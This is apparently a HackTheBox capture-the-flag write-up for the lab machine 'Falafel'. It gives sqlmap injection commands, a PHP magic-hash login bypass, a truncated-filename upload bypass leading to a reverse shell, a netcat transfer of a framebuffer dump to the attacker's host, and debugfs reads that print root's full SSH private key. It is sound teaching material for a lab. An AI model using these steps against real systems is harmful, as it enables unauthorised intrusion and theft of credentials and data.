20 min to read
HackTheBox - Falafel
There’s a lot of cool stuff going on in this challenge. Double file extension upload vulnerabilities, type juggling, magic hashes and frame buffer dumping just to name a few. It was difficult to complete and required combining a number of different techniques, but that’s what made this box very enjoyable.
Enumeration
Start off with nmap
root@kali:~/htb/falafel# nmap -sC -sV -oA falafel 10.10.10.73
Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-30 16:05 AEST
Nmap scan report for 10.10.10.73
Host is up (0.36s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA)
| 256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA)
|_ 256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/*.txt
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Falafel Lovers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.26 seconds
root@kali:~/htb/falafel#
Ports: 80,443
I kick off some automatic enumeration to run in the background while I poke around with some manual stuff. I run a directory brute force attack to see if there are any other directories that may be worthwhile exploring.
root@kali:~/htb/falafel# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.73
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.73/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 302,307,200,204,301
=====================================================
/images (Status: 301)
/uploads (Status: 301)
/assets (Status: 301)
/css (Status: 301)
/js (Status: 301)
=====================================================
root@kali:~/htb/falafel#
gobuster
finds some additional directories, but I’m being redirected with a status code of 301. This often happens on web applications when a user tries to access a page they do not have permission to view - such as not being logged in. I make a note of the directories and will revisit if I can log in to the application.
Output of nmap shows a robots.txt with a disallowed entry of .txt
I fire off another brute force attack using wfuzz
to see if I can find any juicy text files that this admin wanted to keep hidden from indexing services.
- -c: show coloured output
- -w: The word list to use
- -hc: error codes to ignore
- -t: number of threads
- FUZZ: The word FUZZ is a variable that is replaced with each item in the word list.
root@kali:~/htb/falafel# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --hc 404 -t 50 http://10.10.10.73/FUZZ.txt
Warning: Pycurl is not compiled against OpenSSL. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.73/FUZZ.txt
Total requests: 207643
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=200 109 L 674 W 7203 Ch "# directory-list-lowercase-2.3-medium.txt"
000002: C=200 109 L 674 W 7203 Ch "#"
000003: C=200 109 L 674 W 7203 Ch "# Copyright 2007 James Fisher"
000004: C=200 109 L 674 W 7203 Ch "#"
001655: C=200 1 L 4 W 30 Ch "robots"
006395: C=200 17 L 120 W 804 Ch "cyberlaw"
Total time: 1622.168
Processed Requests: 207643
Filtered Requests: 207628
Requests/sec.: 128.0033
I check out cyberlaw.txt
and see if that holds any useful bits of info
This looks like a text copy of an email from the site administrator to the legal team, which holds some instrumental pieces of information
From: Falafel Network Admin ([email protected]) Subject: URGENT!! MALICIOUS SITE TAKE OVER! Date: November 25, 2017 3:30:58 PM PDT To: [email protected], [email protected]
The headers of the email show two potential usernames; admin, lawyers and devs
A user named “chris” …
We have another possible username.
… has informed me that he could log into MY account without knowing the password
This eludes to a login bypass vulnerability - perhaps SQL injection?.
… then take FULL CONTROL of the website using the image upload feature.
This implies a vulnerability within the image upload feature of the website. This is a possible vector for remote code execution.
We got a cyber protection on the login form, and a senior php developer worked on filtering the URL of the upload.
Sounds like there may be a WAF or at least some kind of input validation, which may mean that exploiting the login form or the upload feature may not be trivial.
Possible login bypass vulnerability (SQL injection?)
Possible remote code execution vulnerability in upload form
With the initial stages of enumeration done, it’s time to start poking and see if I can find a use for what I’ve discovered.
Browse to port 80 in Firefox and see a landing page. I make note there’s an email address [email protected]
which could be a potential user on the system.
I click the login button and get to the login page. Knowing that there is a potential login bypass vulnerability, I enter some random details (admin/admin) and capture the request in burp for easy manipulation.
One thing that I notice after making a login attempt is the message that is displayed when I enter a valid username.
I try with the usernames of some potential users I found during discovery, and look what the website displays when I use the username lawyer
I try this technique again with the other potential usernames I discovered and confirmed a login account exists for the user chris
To explore this information disclosure vulnerability further, I unleash wfuzz
once again. This time I use it to brute force a list of usernames by firing off a bunch of login requests and parsing the response for the text “Wrong identification” that I only get when an invalid username is entered. The theory being, if this text doesn’t exist on a response from a login attempt, then the username is valid.
root@kali:~/htb/falafel# hydra -L /usr/share/wordlists/user.txt -p seemslegit 10.10.10.73 http-post-form "/login.php:username=^USER^&password=^PASS^:S=Wrong identification" -t 64
Unfortunately, this didn’t return any new information, but it was worth a shot!
Exploitation
I test for a SQL Injection vulnerability with sqlnamp
.
To do this, first I saved a login request from Burpsuite
to a file called login.req
I then pass the login request into sqlmap
and check for SQL injection
root@kali:~/htb/falafel# sqlmap -r login.req --level=5 --risk=3 -threads 10 --batch
...sqlmap identified the following injection point(s) with a total of 148 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=x'+(SELECT 'lwsN' WHERE 9765=9765 AND 1007=1007)+'&password=y
---
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.0
This confirms the site has a SQL injection vulnerability and also that the back end database is MySQL. I can now specify the type of database to speed up my subsequent SQLi attacks.
With SQLi now on the table, I dump the databases
root@kali:~/htb/falafel# sqlmap -r login.req --level=4 --risk=3 -t 10 --dbms=mysql --dbs --batch
...
available databases [2]:
[*] falafel
[*] information_schema
...
Next, the tables from the falafel
database
root@kali:~/htb/falafel# sqlmap -r login.req --level=4 --risk=3 -t 10 --dbms=mysql --D falafel --tables --batch
...
Database: falafel
[1 table]
+-------+
| users |
+-------+
And finally, dump the contents of the users
table
root@kali:~/htb/falafel# sqlmap -r login.req --level=4 --risk=3 -t 10 --dbms=mysql --D falafel -T users --dump --batch
...
Database: falafel
Table: users
[2 entries]
+----+--------+----------+---------------------------------------------+
| ID | role | username | password |
+----+--------+----------+---------------------------------------------+
| 1 | admin | admin | 0e462096931906507119562988736854 |
| 2 | normal | chris | d4ee02a22fc872e36d9e3751ba72ddc8 (juggling) |
+----+--------+----------+---------------------------------------------+
sqlmap
was even kind enough to crack a password for me. Handy!
I log in with chris:juggling
: and am greeted by the user’s profile page.
I do a bit of googling research and come across something in PHP called type juggling. More importantly, however, I stumble across a vulnerability with PHP type juggling called magic hashes.
Using hash-identifier
, I confirm the admin password hash to be using the MD5 algorithm
#########################################################################
# __ __ __ ______ _____ #
# / / / /__ _ / _ ` #
# _ __ ____ ___ /_/ / / #
# _ /'__ / ,__ _ #
# / _ _/__, ` _ __ _ #
# _ _ ___ _/____/ _ _ /_____ ____/ #
# /_//_//__//_//___/ /_//_/ /_____/ /___/ v1.1 #
# By Zion3R #
# www.Blackploit.com #
# [email protected] #
#########################################################################
-------------------------------------------------------------------------
HASH: 0e462096931906507119562988736854
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Using the table on the this blog post, I note down that the magic hash value of an MD5 hash is 240610708
.
Referring to use case 2 in the blog article, in theory, I should be able to exploit the type juggling vulnerability by merely using 240610708
as the password for the admin user.
I try logging in with admin:240610708
.
Now that I’m logged in as admin, I take a look at the profile page which displays another hint.
“Know your limits.” -Anonymous
I check out the upload page as previous hints suggest a file upload vulnerability.
I create a simple php page, save it as toteslegit.php
, serve it up over HTTP, and try to upload it to the site.
root@kali:~/htb/falafel# echo "" > toteslegit.php
root@kali:~/htb/falafel# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
No luck. I get a bad extension error message. The placeholder text of the upload form suggest .png
files will work, so I quickly google and save something appropriate.
And upload that the site.
So .php
files are bad, .png
files are good. Looks like some kind of filtering going on. To figure out how to bypass it, I need to know a little more about how it works.
I rename my hacker.png
to hacker.php.png
in order to test a double extension upload vulnerability.
The fact that this uploaded successfully tells me something significant. This shows that I’m dealing with extension whitelisting as opposed to blacklisting. If the application was comparing the filename with a list of blacklisted extensions, then having .php
in the filename would have failed to upload. Instead what I think is happening is that the website is looking at the extension (in this case .png
), evaluating that it’s a known good file type and therefore allowing the upload to happen. This is important because it means if I can bypass the filter, I’ll be able to load a file with a .php
extension.
Referring back to the “know your limits” hint, I fiddle around with the length of the file name in burp. I add a whole bunch of characters and notice something interesting. The upload page will truncate the filename and rewrite the file with a new name at its max length.
I grab the new file name and figure out how many characters that is.
root@kali:~/htb/falafel# echo "haaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | wc -c
236
The full character length of my php file cannot exceed 236 characters.
So if I make .php
+ .png
to be 240 (236 + 4) characters in total length, then the .png
extension gets truncated when saving the file to disk when it is uploaded. This means the total length of the file name needs to be 240 characters, 8 of which make up the double extension, which means I need 232 garbage characters.
cp toteslegit.php haaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.png
I give that a try, and see in burp it’s been uploaded successfully and that it’s been renamed to .php
.
I browse to the directory where the file was uploaded and confirm the successful execution of my php script.
I modify the php file with a tiny bit of code that will allow me to execute commands on the remote system, and upload again.
From burpsuite
, I can manipulate the query string and get myself a reverse shell.
Listening on [any] 9001 ...
connect to [10.10.14.200] from (UNKNOWN) [10.10.10.73] 35178
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
Privilege escalation
First thing I always do is check out the /etc/passwd
file and see what other user accounts there are.
User: yossi
I enumerate the system a little, and come across connection.php
Knowing from earlier there is a user on the system called moshe
, I try my luck at pivoting to this user with the MySQL password
www-data@falafel:/var/www/html$ su moshe
Password:
setterm: $TERM is not defined.
moshe@falafel:/var/www/html$ cat /home/moshe/usr.txt
User flag obtained!
I enumerate the system some more and check out what groups moshe
is a member of.
moshe@falafel:~$ groups
moshe adm mail news voice floppy audio video games
Some of these groups are interesting as they are not the default groups that most users are a part of. In HackTheBox challenges, nothing is done by accident.
I do some more enumeration of the groups. I admit that this step took me quite a significant amount of time to figure out anything useful, but persistence paid off. It turns out that the video group has access to something interesting.
moshe@falafel:~$ find / -group video 2> /dev/null
**/dev/fb0**
/dev/dri/card0
/dev/dri/renderD128
/dev/dri/controlD64
/dev/fb0
is the framebuffer device. My persistent googling lead me to this blog that allows the framebuffer to be dumped to an image file.
I save the script as toteslegit.pl
on my Kali host
I grab the size of the frame buffer from falafel, dump the frame buffer out to a file, and transfer it over to my Kali machine via netcat.
moshe@falafel:~$ cat /sys/class/graphics/fb0/virtual_size
1176,885
moshe@falafel:~$ cat /dev/fb0 > framebuffer.raw
moshe@falafel:~$ nc -w 3 10.10.14.200 9002 < framebuffer.raw
On my Kali machine, I execute the python script as described on the blog and open the image in gimp
root@kali:~/htb/falafel# code toteslegit.pl
root@kali:~/htb/falafel# chmod +x toteslegit.pl
root@kali:~/htb/falafel# ./toteslegit.pl 1176 885 framebuffer.png
pnmtopng: 5 colors found
root@kali:~/htb/falafel# gimp framebuffer.png
And the result is beautiful …
moshe@falafel:~$ su yossi
Password:
yossi@falafel:/home/moshe$
Pivoted to user yossi
Using the same technique as used before, I find the disk
group provides a way forward.
yossi@falafel:~$ groups
yossi adm disk cdrom dip plugdev lpadmin sambashare
yossi@falafel:~$ find / -group disk 2> /dev/null
/dev/btrfs-control
/dev/sda5
/dev/sda2
/dev/sda1
/dev/sda
/dev/sg0
/dev/loop7
/dev/loop6
/dev/loop5
/dev/loop4
/dev/loop3
/dev/loop2
/dev/loop1
/dev/loop0
/dev/loop-control
Members of the disk
group get access to a utility called debugfs
which mounts the file system as root
. Using this utility allows me to navigate the file system as the root
user.
yossi@falafel:~$ debugfs /dev/sda1
debugfs /dev/sda1
debugfs 1.42.13 (17-May-2015)
debugfs: pwd
[pwd] INODE: 2 PATH: /
[root] INODE: 2 PATH: /
debugfs: cd /root
cd /root
debugfs: ls -l
ls -l
WARNING: terminal is not fully functional
- (press RETURN)
262241 40750 (2) 0 0 4096 5-Feb-2018 17:04 .
2 40755 (2) 0 0 4096 5-Feb-2018 17:20 ..
262242 100600 (1) 0 0 3121 27-Nov-2017 22:45 .bashrc
262243 100600 (1) 0 0 148 17-Aug-2015 18:30 .profile
295046 40700 (2) 0 0 4096 27-Nov-2017 20:13 .cache
289943 100400 (1) 0 0 33 27-Nov-2017 20:23 root.txt
269128 40755 (2) 0 0 4096 15-Jan-2018 02:54 .nano
402797 40755 (2) 0 0 4096 15-Jan-2018 02:12 .ssh
269130 100644 (1) 0 0 206 5-Feb-2018 17:27 .wget-hsts
269127 100600 (1) 0 0 0 14-Jan-2018 21:47 .bash_history
From here I can just read the root flag, but that’s not good enough. I want a root shell to fully pwn this box. Using debugfs
I dump out the contents of the root user’s private ssh key
yossi@falafel:~$ debugfs /dev/sda1
debugfs 1.42.13 (17-May-2015)
debugfs: cd /root/.ssh
debugfs: cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAyPdlQuyVr/L4xXiDVK8lTn88k4zVEEfiRVQ1AWxQPOHY7q0h
b+Zd6WPVczObUnC+TaElpDXhf3gjLvjXvn7qGuZekNdB1aoWt5IKT90yz9vUx/gf
v22+b8XdCdzyXpJW0fAmEN+m5DAETxHDzPdNfpswwYpDX0gqLCZIuMC7Z8D8Wpkg
BWQ5RfpdFDWvIexRDfwj/Dx+tiIPGcYtkpQ/UihaDgF0gwj912Zc1N5+0sILX/Qd
UQ+ZywP/qj1FI+ki/kJcYsW/5JZcG20xS0QgNvUBGpr+MGh2urh4angLcqu5b/ZV
dmoHaOx/UOrNywkp486/SQtn30Er7SlM29/8PQIDAQABAoIBAQCGd5qmw/yIZU/1
eWSOpj6VHmee5q2tnhuVffmVgS7S/d8UHH3yDLcrseQhmBdGey+qa7fu/ypqCy2n
gVOCIBNuelQuIAnp+EwI+kuyEnSsRhBC2RANG1ZAHal/rvnxM4OqJ0ChK7TUnBhV
+7IClDqjCx39chEQUQ3+yoMAM91xVqztgWvl85Hh22IQgFnIu/ghav8Iqps/tuZ0
/YE1+vOouJPD894UEUH5+Bj+EvBJ8+pyXUCt7FQiidWQbSlfNLUWNdlBpwabk6Td
OnO+rf/vtYg+RQC+Y7zUpyLONYP+9S6WvJ/lqszXrYKRtlQg+8Pf7yhcOz/n7G08
kta/3DH1AoGBAO0itIeAiaeXTw5dmdza5xIDsx/c3DU+yi+6hDnV1KMTe3zK/yjG
UBLnBo6FpAJr0w0XNALbnm2RToX7OfqpVeQsAsHZTSfmo4fbQMY7nWMvSuXZV3lG
ahkTSKUnpk2/EVRQriFjlXuvBoBh0qLVhZIKqZBaavU6iaplPVz72VvLAoGBANj0
GcJ34ozu/XuhlXNVlm5ZQqHxHkiZrOU9aM7umQkGeM9vNFOwWYl6l9g4qMq7ArMr
5SmT+XoWQtK9dSHVNXr4XWRaH6aow/oazY05W/BgXRMxolVSHdNE23xuX9dlwMPB
f/y3ZeVpbREroPOx9rZpYiE76W1gZ67H6TV0HJcXAoGBAOdgCnd/8lAkcY2ZxIva
xsUr+PWo4O/O8SY6vdNUkWIAm2e7BdX6EZ0v75TWTp3SKR5HuobjVKSht9VAuGSc
HuNAEfykkwTQpFTlmEETX9CsD09PjmsVSmZnC2Wh10FaoYT8J7sKWItSzmwrhoM9
BVPmtWXU4zGdST+KAqKcVYubAoGAHR5GBs/IXFoHM3ywblZiZlUcmFegVOYrSmk/
k+Z6K7fupwip4UGeAtGtZ5vTK8KFzj5p93ag2T37ogVDn1LaZrLG9h0Sem/UPdEz
HW1BZbXJSDY1L3ZiAmUPgFfgDSze/mcOIoEK8AuCU/ejFpIgJsNmJEfCQKfbwp2a
M05uN+kCgYBq8iNfzNHK3qY+iaQNISQ657Qz0sPoMrzQ6gAmTNjNfWpU8tEHqrCP
NZTQDYCA31J/gKIl2BT8+ywQL50avvbxcXZEsy14ExVnaTpPQ9m2INlxz97YLxjZ
FEUbkAlzcvN/S3LJiFbnkQ7uJ0nPj4oPw1XBcmsQoBwPFOcCEvHSrg==
-----END RSA PRIVATE KEY-----
debugfs:
On my Kali machine, I save the key as falafel.ppk
and log in as root.
root@kali:~/htb/falafel# chmod 400 falafel.ppk
root@kali:~/htb/falafel# ssh [email protected] -i falafel.ppk
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Tue May 1 20:14:09 2018 from 10.10.14.4
root@falafel:~# cat root.txt
****
Deconstructing the hack
Magic hashes
A “magic hash” exploits a flaw in the way hashed strings are handled by PHP when either !=
or ==
operators are used comparing them. Whenever any of these two operators are used for comparing hashes, PHP interprets every hashed value that begins with 0e
as the value 0
.
Let’s look at the admin password used on this challenge as an example.
From the MySQL dump, the md5 hashed password for the admin user is 0e462096931906507119562988736854
. Notice this hash begins with 0e
. This means that when we use the ==
operator to compare another hash with this one, the admin password will evaluate to the numeric value of 0
.
Now let’s put this into the context of how many password mechanisms work. You enter a plain text value for your password into a web form, the web server will take that password, hash it, then compare it against the hashed password on the database. For example:
if (md5("mysupersecretpassword") == "0e462096931906507119562988736854" ) {
allow.login()
}
Or in our case when referring to the operational flaw in PHP, in reality, it evaluates to something like this:
if (md5("mysupersecretpassword") == 0 ) {
allow.login()
}
So to exploit this, all we need to do is give it a password that when hashed with the MD5 algorithm, also evaluates to a hash that begins with 0e
. Again using the example from this challenge, if we MD5 hash the value 240610708
we get 0e462097431906509019562988736854
as a result.
Going back to the pseudocode example above, if we enter the literal text value 240610708
as our password, it will pass it to the MD5 hashing algorithm and give the result above, and then compare that to the value in the database. Since the flaw in the PHP comparison operator evaluates both values to the integer 0
, we’re successfully authenticated.
Here’s a breakdown of how the authentication is evaluated.
if (md5("240610708") == "0e462096931906507119562988736854" ) {
allow.login()
}
if "0e462097431906509019562988736854" == "0e462096931906507119562988736854" ) {
allow.login()
}
if 0 == 0 {
allow.login()
}
Comments